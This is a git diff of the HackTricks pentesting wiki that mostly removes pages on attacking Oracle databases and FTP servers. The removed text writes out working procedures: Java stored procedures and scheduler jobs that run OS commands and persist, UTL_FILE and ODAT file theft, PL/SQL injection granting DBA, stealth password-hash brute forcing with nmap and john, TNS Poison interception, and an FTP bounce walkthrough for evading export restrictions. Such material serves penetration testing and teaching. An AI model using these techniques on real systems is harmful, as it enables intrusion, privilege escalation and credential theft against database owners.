* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -1,252 +0,0 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# RCE: Java Store Procedure
|
||||
|
||||
So, imagine that you have the administrator account information. In this case, a very popular way to execute your command on the server is to write a ‘java stored’ procedure. This is done in three stages. First, create a Java class called ‘oraexec’. To do this, connect via ‘sqlplus’ terminal and write:
|
||||
|
||||
```text
|
||||
create or replace and resolve java source named "oraexec" as
|
||||
import java.lang.*;
|
||||
import java.io.*;
|
||||
public class oraexec
|
||||
{
|
||||
public static void execCommand(String command) throws IOException
|
||||
{
|
||||
Runtime.getRuntime().exec(command);
|
||||
}
|
||||
}
|
||||
/
|
||||
|
||||
```
|
||||
|
||||
Next, write a PL/SQL wrapper for this class:
|
||||
|
||||
```text
|
||||
create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; /
|
||||
```
|
||||
|
||||
That’s it. Now, to execute a command, all you need is just to send the following query:
|
||||
|
||||
```text
|
||||
exec javacmd('command');
|
||||
```
|
||||
|
||||
Note that when using the above procedure, we cannot see the results of executed command, however, you can redirect the output to a file and read it. You can find the full code of the shell that allows to read and write files:
|
||||
|
||||
{% file src="../../.gitbook/assets/raptor\_oraexec.sql" %}
|
||||
|
||||
However, there is a \[more sophisticated script\] \(goo.gl/EuwPRU\) that handles the command output, but it has a larger size [here](https://oracle-base.com/articles/8i/shell-commands-from-plsql).
|
||||
|
||||
# RCE: Scheduler
|
||||
|
||||
The next method, which will help us if there is no Java virtual machine, is to use ‘dbmsscheduler’, the built-in task scheduler of Oracle. To use it, you must have the privilege ‘CREATE EXTERNAL JOB’. Here’s a code sample that implements the entry of ‘0wned’ string into a text file in the root of the C: drive:
|
||||
|
||||
```text
|
||||
exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\ WINDOWS\system32\cmd.exe /c echo 0wned >> c:\rds3.txt',0,TRUE);
|
||||
exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE);
|
||||
```
|
||||
|
||||
This will create and run a job for executing your command. And here’s an option for calling the Scheduler from another procedure – ‘SYS.KUPP$PROC.CREATE\_MASTER\_PROCESS’, which is of interest to us, primarily, because it allows you to embed multi-statement queries, that is, those consisting of multiple sub-queries. Theoretically, you can run such query even in case of injection into a web application.
|
||||
|
||||
```text
|
||||
select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''xxx'',''EXECUTABLE'',''cmd.exe /c echo qqq>>C:/scchh'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=>''jobx'',program_name=>''xxx'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''xxx'');dbms_scheduler.purge_log;') from dual
|
||||
```
|
||||
|
||||
Note that, when you use the Scheduler, you can run this job more than once and do it with some frequency. As a result, this will help you get a foothold in the tested system, because, even if the administrator deletes the user from OS, this job, which is regularly running in the system, will bring him or her back to life.
|
||||
|
||||
# RCE: External Tables
|
||||
|
||||
As the last method for achieving the execution of OS commands, I would like to mention the use of External Tables. This method will help you later download files from the server. You will need the following privileges:
|
||||
|
||||
* UTL\_FILE;
|
||||
* CREATE TABLE;
|
||||
* a directory reserved for the user.
|
||||
|
||||
Let’s remember that the access to ‘UTL\_FILE’ package is by default provided to all accounts with ‘CONNECT’ role. Step one: Check the issued directories with the following query:
|
||||
|
||||
```text
|
||||
SELECT TABLE_NAME FROM ALL_TAB_PRIVS WHERE TABLE_NAME IN
|
||||
(SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE='DIRECTORY')
|
||||
and privilege='EXECUTE' ORDER BY GRANTEE;
|
||||
|
||||
TABLE_NAME
|
||||
------------------------------
|
||||
ALICE_DIR
|
||||
```
|
||||
|
||||
Step two: Create an executable batch file with desired command:
|
||||
|
||||
```text
|
||||
declare
|
||||
f utl_file.file_type;
|
||||
s varchar2(200) := 'echo KOKOKO >> C:/pwned';
|
||||
begin
|
||||
f := utl_file.fopen('ALICE_DIR','test.bat','W');
|
||||
utl_file.put_line(f,s);
|
||||
utl_file.fclose(f);
|
||||
end;
|
||||
/
|
||||
```
|
||||
|
||||
Step three: Prepare the external table ‘EXTT’, you will need it to run the file:
|
||||
|
||||
```text
|
||||
CREATE TABLE EXTT (line varchar2(256))
|
||||
ORGANIZATION EXTERNAL
|
||||
(TYPE oracle_loader
|
||||
DEFAULT DIRECTORY ALICE_DIR
|
||||
ACCESS PARAMETERS
|
||||
( RECORDS DELIMITED BY NEWLINE
|
||||
FIELDS TERMINATED BY ',')
|
||||
LOCATION (alice_dir:'test.bat'))
|
||||
/
|
||||
```
|
||||
|
||||
Now, just call your batch file with the following command:
|
||||
|
||||
```text
|
||||
SELECT * from EXTT;
|
||||
```
|
||||
|
||||
The terminal will start to display error messages that the system cannot match the table and invoked file but, in this case, it is not important, as the main objective was to open the executable file, which you have achieved.
|
||||
|
||||
‘ODAT.py’ utility also can implement this attack. However, it requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory.
|
||||
|
||||
# Read/Write files
|
||||
|
||||
Now, let’s proceed to the task of reading and writing the files. If you simply need to read or write a file to the server, you can do it without any Java procedures, which, however, can also handle such tasks. Let’s have a look into ‘UTL\_FILE’ package that has the functionality required for working with the file system. The good news is that, by default, it can be accessed by all users with ‘PUBLIC’ role. The bad news is that, by default, this procedure has no access to the entire file system, but only to a directory pre-defined by the administrator. However, it is not uncommon to find a directory parameter specified as ‘\*’, which literally means “access to everything.” You can find this out by using the following command:
|
||||
|
||||
```text
|
||||
select name, value from v$parameter where name = 'utl_file_dir';
|
||||
With appropriate rights, you can expand the access by using the following query:
|
||||
alter system set utl_file_dir='*' scope =spfile;
|
||||
```
|
||||
|
||||
I found that the shortest procedure for using ‘UTL\_FILE’ package is proposed by Alexander Polyakov:
|
||||
|
||||
```text
|
||||
SET SERVEROUTPUT ON
|
||||
declare
|
||||
f utl_file.file_type;
|
||||
sBuffer Varchar(8000);
|
||||
begin
|
||||
f:=UTL_FILE.FOPEN (''C:/’,'boot.ini','r');
|
||||
loop
|
||||
UTL_FILE.GET_LINE (f,sBuffer);
|
||||
DBMS_OUTPUT.PUT_LINE(sBuffer);
|
||||
end loop;
|
||||
EXCEPTION
|
||||
when no_data_found then
|
||||
UTL_FILE.FCLOSE(f);
|
||||
end;
|
||||
/
|
||||
|
||||
```
|
||||
|
||||
If you need more functionality with the ability to write, I recommend to google a script called ‘raptor\_oraexec.sql’. And according to tradition, here’s an option for using ‘ODAT’ utility, which, as always, is the shortest:
|
||||
|
||||
```text
|
||||
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt
|
||||
```
|
||||
|
||||
‘UTL\_FILE’ package is also very interesting because if you’re lucky, you can reach the logs, configuration files and obtain passwords from privileged accounts, such as ‘SYS’.
|
||||
|
||||
The second method that I would like to mention is to use again the ‘External Tables’. Remember that, when using ‘External Tables’, the database can access in read mode the data from external tables. For a hacker, this means yet another opportunity to download files from the server, but this method requires ‘CREATE ANY DIRECTORY’ privilege. I suggest immediately using ‘ODAT’, as it is stable and fast:
|
||||
|
||||
```text
|
||||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --getFile "C:/test" "my4.txt" "my"
|
||||
```
|
||||
|
||||
# Elevating Privileges
|
||||
|
||||
You can use various methods to elevate privileges, ranging from classic buffer overflows and DLL patching to specialized attacks against databases, such as PL/SQL injections. The topic is very extensive and, in this article, I will not dwell on it, as this is discussed in large research papers, such as those found in the blogs of \[Lichfield\] \(goo.gl/IebQN4\) and \[Finnigan\] \(goo.gl/vXhttf\). I will just demonstrate some of them, so that you have a general idea. During the testing, I recommend simply paying attention to current privileges and, based on this, search for desired loopholes in the Internet.
|
||||
|
||||
Unlike MS SQL, where an attacker can inject ‘xp\_cmdshell’ almost immediately after ‘SELECT’ by simply closing it with a quotation mark, Oracle DB flatly rejects such tricks. For this reason, we cannot every time resort to classical SQL injections although, in this case, too, it is possible to find a way out. We will consider PL/SQL injections, which are modifying the process of executing a procedure \(function, trigger, and other objects\) by embedding random commands into available input parameters. \(с\) Sh2kerr
|
||||
|
||||
In order to embed the payload, find a function where the input parameters are not filtered. Remember that Oracle SQL does not allow multi-statement \(multiple\) queries, therefore, most likely, you will need to use some “special” procedures that have this feature. The main idea behind the attack is as follows: By default, unless specified otherwise, the procedure is executed on behalf of the owner and not on behalf of the user who started it. In other words, if a procedure owned by ‘SYS’ account is available for execution and you can embed your code into it, your payload will also be executed in the context of ‘SYS’ account. As I already mentioned, this is not what happens always, as there are procedures with ‘authid current\_user’ parameter, which means that this procedure will be executed with privileges of the current user. However, usually in each version, you can find some functions that are vulnerable to PL/ SQL injection. A general view of this process is shown in Fig. 2.
|
||||
|
||||
[![inject](https://hackmag.com/wp-content/uploads/2015/04/inject.png)](https://hackmag.com/wp-content/uploads/2015/04/inject.png)
|
||||
|
||||
In short, instead of expected legitimate argument, we pass some malicious code that becomes a part of procedure. A good example is provided by ‘CTXSYS.DRILOAD’ function. It is executed on behalf of ‘CTXSYS’ and does not filter the input parameter, which allows you to easily rise up to DBA:
|
||||
|
||||
```text
|
||||
exec ctxsys.driload.validate_stmt('grant dba to scott');
|
||||
```
|
||||
|
||||
However, by now, this is probably history, since the vulnerability was found in 2004, and it affects only the old versions 8–9. Usually, the process of escalating the privileges is divided into two parts: writing the procedure that increases the rights and performing the injection itself. A typical procedure is as follows:
|
||||
|
||||
```text
|
||||
CREATE OR REPLACE FUNCTION F1
|
||||
RETURN NUMBER AUTHID CURRENT_USER
|
||||
IS
|
||||
PRAGMA AUTONOMOUS_TRANSACTION;
|
||||
BEGIN
|
||||
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
|
||||
COMMIT;RETURN(1);END;
|
||||
/
|
||||
```
|
||||
|
||||
Now we can inject a procedure as an argument of vulnerable function \(example for versions 10x\):
|
||||
|
||||
```text
|
||||
exec sys.kupw$WORKER.main('x','YY'' and 1=test1.f1 –-');
|
||||
```
|
||||
|
||||
In the not too recent versions 10 and 11, there is one “nice” exception, or rather a vulnerability, that allows you to execute commands on the server without having DBA rights: ‘DBMS\_JVM\_EXP\_PERMS’ procedure allows a user with ‘CREATE SESSION’ privilege to get ‘JAVA IO’ rights. The attack can be mounted as follows:
|
||||
|
||||
```text
|
||||
SQL> DECLARE
|
||||
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
|
||||
CURSOR C1 IS SELECT
|
||||
'GRANT','GREMLIN','SYS','java.io.FilePermission','<FILES>>','execute','ENABLED' FROM DUAL;
|
||||
BEGIN
|
||||
OPEN C1;
|
||||
FETCH C1 BULK COLLECT INTO POL;
|
||||
CLOSE C1;
|
||||
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
|
||||
END;
|
||||
/
|
||||
|
||||
PL/SQL procedure successfully completed.
|
||||
```
|
||||
|
||||
Now that you have the privileges to call up Java procedures, you can evoke a response from the Windows interpreter and execute something:
|
||||
|
||||
```text
|
||||
SQL> select dbms_java.runjava(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c echo 123 >c:\\hack’)from dual;
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -1,72 +0,0 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Outer Perimeter: Remote stealth pass brute force
|
||||
|
||||
**The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable** to this technique. In order to understand the idea behind this vulnerability, you need to consider how the authentication protocol works with the database. I will show it for version 11. The interaction with the server proceeds as follows:
|
||||
|
||||
1. The client connects to the server and sends the user name.
|
||||
2. The server generates a session identifier (‘AUTH\_SESSKEY’) and encrypts it by using AES-192. As its key, the system uses SHA-1 hash generated from user password and salt (‘AUTH\_VFR\_DATA’).
|
||||
3. The server sends an encrypted session ID and salt to the client.
|
||||
4. The client generates the key by hashing its password and received salt. The client uses this key to decrypt the session data received from the server.
|
||||
5. Based on decrypted server session ID, the client generates a new public key for future use.
|
||||
|
||||
Now, here’s the most interesting part: The session ID ‘AUTH\_SESSKEY’ sent by the server to the client has a length of 48 bytes. Of these, 40 bytes are random, and the last 8 are the duplicates of ‘0x08’. The initialization vector is 0x00 (Null).\
|
||||
Knowing that the last 8 bytes of the public identifier always consist of ‘0x08’, we can bruteforce this password and, moreover, do it in offline mode, which means a tremendous speed, especially if you use GPU. To mount an attack, you need to know SID, valid login (for example, ‘SYS’ account is very interesting) and, of course, have the ability to connect to the database. In this case, there will be no records, such as ‘Invalid Login Attempt’, created in the Oracle audit logs!
|
||||
|
||||
Summing it all up:
|
||||
|
||||
1. Use Wireshark to **intercept** the **initial traffic** during **authorization**. This will be helped by ‘tns’ filter.
|
||||
2. Extract **HEX values for AUTH\_SESSKEY, AUTH\_VFR\_DATA**.
|
||||
3. Insert them into [**PoC script**](https://www.exploit-db.com/exploits/22069), which will perform a dictionary (brute force) attack.
|
||||
|
||||
## Using nmap and john
|
||||
|
||||
```
|
||||
root@kali:~# nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||
|
||||
Starting Nmap 6.49BETA4 (https://nmap.org) at 2016-03-02 14:58 EST
|
||||
Nmap scan report for 10.11.21.30
|
||||
PORT STATE SERVICE
|
||||
1521/tcp open oracle
|
||||
| oracle-brute-stealth:
|
||||
| Accounts
|
||||
| SYS:$o5logon$1245C95384E15E7F0C893FCD1893D8E19078170867E892CE86DF90880E09FAD3B4832CBCFDAC1
|
||||
| A821D2EA8E3D2209DB6*4202433F49DE9AE72AE2 -
|
||||
| Hashed valid or invalid credentials
|
||||
| Statistics
|
||||
|_ Performed 241 guesses in 12 seconds, average tps: 20
|
||||
|
||||
john hashes.txt
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -1,58 +0,0 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
A vulnerability known as 'TNS Poison' affects versions up to 12c of the listener, with the latter only being vulnerable under specific configurations. For instance, disabling the dynamic configuration of the listener is a remediation measure that is not feasible in setups utilizing Oracle DataGuard, PL/SQL Gateway with APEX, and certain SAP versions. This vulnerability stems from the listener service's default behavior of supporting remote configuration, including anonymous configurations, which is the crux of the vulnerability.
|
||||
|
||||
![https://hackmag.com/wp-content/uploads/2015/04/poison.png](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
|
||||
|
||||
*Figure 1 depicts the TNS Poison Vulnerability.*
|
||||
|
||||
A sample attack algorithm is detailed as follows (refer to Fig. 1):
|
||||
|
||||
1. A TNS query, ‘CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR)’, is to be sent.
|
||||
2. A response of ‘(DESCRIPTION=(TMP=))’ indicates vulnerability, whereas a patched server responds with ‘(ERROR_STACK=(ERROR=1194))’.
|
||||
3. The attacker is required to generate a configuration package, including the SID and IP for a new listener, aimed at a Man-In-The-Middle (MITM) attack. The length of the current SID's name is crucial for crafting a Well Formed package.
|
||||
4. These components are then forwarded to the listener.
|
||||
5. Upon successful execution, new connections are directed through the attacker's controlled IP by the listener.
|
||||
|
||||
It's critical to activate query proxying (akin to IP_forwarding in Linux) to prevent transforming a potential MITM attack into a Denial of Service (DoS) attack, which would block new clients from connecting to the database. This vulnerability allows an attacker to insert commands into another user’s session. The vulnerability of the server can be assessed using the Metasploit Framework (MSF) module: ‘auxiliary/scanner/oracle/tnspoison_checker’.
|
||||
|
||||
For more information check the original [Hackmag's article on Oracle DB penetration methods](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/).
|
||||
|
||||
**Alternative Testing Method:**
|
||||
|
||||
```text
|
||||
./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module
|
||||
```
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -232,7 +232,7 @@ Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential
|
|||
|
||||
### Using a ruby script
|
||||
|
||||
Code extracted from here: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
|
||||
**Code extracted from here: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
|
||||
|
||||
```ruby
|
||||
require 'winrm-fs'
|
||||
|
@ -240,6 +240,7 @@ require 'winrm-fs'
|
|||
# Author: Alamot
|
||||
# To upload a file type: UPLOAD local_path remote_path
|
||||
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
|
||||
# https://alamot.github.io/winrm_shell/
|
||||
|
||||
|
||||
conn = WinRM::Connection.new(
|
||||
|
|
|
@ -21,11 +21,11 @@ If you have access to a bounce FTP server, you can make it request files of othe
|
|||
|
||||
## Requirements
|
||||
|
||||
FTP valid credentials in the FTP Middle server
|
||||
FTP valid credentials in Victim FTP server
|
||||
Both server accepts the PORT command \(bounce FTP attack\)
|
||||
You can write inside some directory of the FRP Middle server
|
||||
The middle server will have more access inside the Victim FTP Server than you for some reason \(this is what you are going to exploit\)
|
||||
- FTP valid credentials in the FTP Middle server
|
||||
- FTP valid credentials in Victim FTP server
|
||||
- Both server accepts the PORT command \(bounce FTP attack\)
|
||||
- You can write inside some directory of the FRP Middle server
|
||||
- The middle server will have more access inside the Victim FTP Server than you for some reason \(this is what you are going to exploit\)
|
||||
|
||||
## Steps
|
||||
|
||||
|
@ -36,130 +36,7 @@ The middle server will have more access inside the Victim FTP Server than you fo
|
|||
5. Capture the file in your own FTP server
|
||||
6. Delete the exploit file from the FTP Middle server
|
||||
|
||||
|
||||
|
||||
All the info in this post was extracted from: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
# The FTP Bounce Attack
|
||||
|
||||
This discusses one of many possible uses of the "FTP server bounce attack". The mechanism used is probably well-known, but to date interest in detailing or fixing it seems low to nonexistent. This particular example demonstrates yet another way in which most electronically enforced "export restrictions" are completely useless and trivial to bypass. It is chosen in an effort to make the reader sit up and notice that there are some really ill-conceived aspects of the standard FTP protocol.
|
||||
|
||||
Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion of some of these issues a couple of months ago which got me thinking more deeply about them.
|
||||
|
||||
## The motive
|
||||
|
||||
You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve cryptographic source code from crypto.com in the US. The FTP server at crypto.com is set up to allow your connection, but deny access to the crypto sources because your source IP address is that of a non-US site \[as near as their FTP server can determine from the DNS, that is\]. In any case, you cannot directly retrieve what you want from crypto.com's server.
|
||||
|
||||
However, crypto.com will allow ufred.edu to download crypto sources because ufred.edu is in the US too. You happen to know that /incoming on ufred.edu is a world-writeable directory that any anonymous user can drop files into and read them back from. Crypto.com's IP address is C.C.C.C.
|
||||
|
||||
## The attack
|
||||
|
||||
This assumes you have an FTP server that does passive mode. Open an FTP connection to your own machine's real IP address \[not localhost\] and log in. Change to a convenient directory that you have write access to, and then do:
|
||||
|
||||
```text
|
||||
pasv
|
||||
stor foobar
|
||||
```
|
||||
|
||||
Take note of the address and port that are returned from the PASV command, F,F,F,F,X,X. This FTP session will now hang, so background it or flip to another window or something to proceed with the rest of this.
|
||||
|
||||
Construct a file containing FTP server commands. Let's call this file "`instrs`". It will look like this:
|
||||
|
||||
```text
|
||||
user ftp
|
||||
pass -anonymous@
|
||||
cwd /export-restricted-crypto
|
||||
type i
|
||||
port F,F,F,F,X,X
|
||||
retr crypto.tar.Z
|
||||
quit
|
||||
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
|
||||
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
|
||||
...
|
||||
```
|
||||
|
||||
F,F,F,F,X,X is the same address and port that your own machine handed you on the first connection. The trash at the end is extra lines you create, each containing 250 NULLS and nothing else, enough to fill up about 60K of extra data. The reason for this filler is explained later.
|
||||
|
||||
Open an FTP connection to ufred.edu, log in anonymously, and cd to /incoming. Now type the following into this FTP session, which transfers a copy of your "`instrs`" file over and then tells ufred.edu's FTP server to connect to crypto.com's FTP server using your file as the commands:
|
||||
|
||||
```text
|
||||
put instrs
|
||||
port C,C,C,C,0,21
|
||||
retr instrs
|
||||
```
|
||||
|
||||
`Crypto.tar.Z` should now show up as "`foobar`" on your machine via your first FTP connection. If the connection to ufred.edu didn't die by itself due to an apparently common server bug, clean up by deleting "`instrs`" and exiting. Otherwise you'll have to reconnect to finish.
|
||||
|
||||
## Discussion
|
||||
|
||||
There are several variants of this. Your PASV listener connection can be opened on any machine that you have file write access to -- your own, another connection to ufred.edu, or somewhere completely unrelated. In fact, it does not even have to be an FTP server -- any utility that will listen on a known TCP port and read raw data from it into a file will do. A passive-mode FTP data connection is simply a convenient way to do this.
|
||||
|
||||
The extra nulls at the end of the command file are to fill up the TCP windows on either end of the ufred -> crypto connection, and ensure that the command connection stays open long enough for the whole session to be executed. Otherwise, most FTP servers tend to abort all transfers and command processing when the control connection closes prematurely. The size of the data is enough to fill both the receive and transmit windows, which on some OSes are quite large \[on the order of 30K\]. You can trim this down if you know what OSes are on either end and the sum of their default TCP window sizes. It is split into lines of 250 characters to avoid overrunning command buffers on the target server -- probably academic since you told the server to quit already.
|
||||
|
||||
If crypto.com disallows \*any\* FTP client connection from you at foreign.fr and you need to see what files are where, you can always put "`list -aR`" in your command file and get a directory listing of the entire tree via ufred.
|
||||
|
||||
You may have to retrieve your command file to the target's FTP server in ASCII mode rather than binary mode. Some FTP servers can deal with raw newlines, but others may need command lines terminated by CRLF pairs. Keep this in mind when retrieving files to daemons other than FTP servers, as well.
|
||||
|
||||
## Other possbilities
|
||||
|
||||
Despite the fact that such third-party connections are one-way only, they can be used for all kinds of things. Similar methods can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time. A little thought will bring realization of numerous other scary possibilities.
|
||||
|
||||
Connections launched this way come from source port 20, which some sites allow through their firewalls in an effort to deal with the "ftp-data" problem. For some purposes, this can be the next best thing to source-routed attacks, and is likely to succeed where source routing fails against packet filters. And it's all made possible by the way the FTP protocol spec was written, allowing control connections to come from anywhere and data connections to go anywhere.
|
||||
|
||||
## Defenses
|
||||
|
||||
There will always be sites on the net with creaky old FTP servers and writeable directories that allow this sort of traffic, so saying "fix all the FTP servers" is the wrong answer. But you can protect your own against both being a third-party bouncepoint and having another one used against you.
|
||||
|
||||
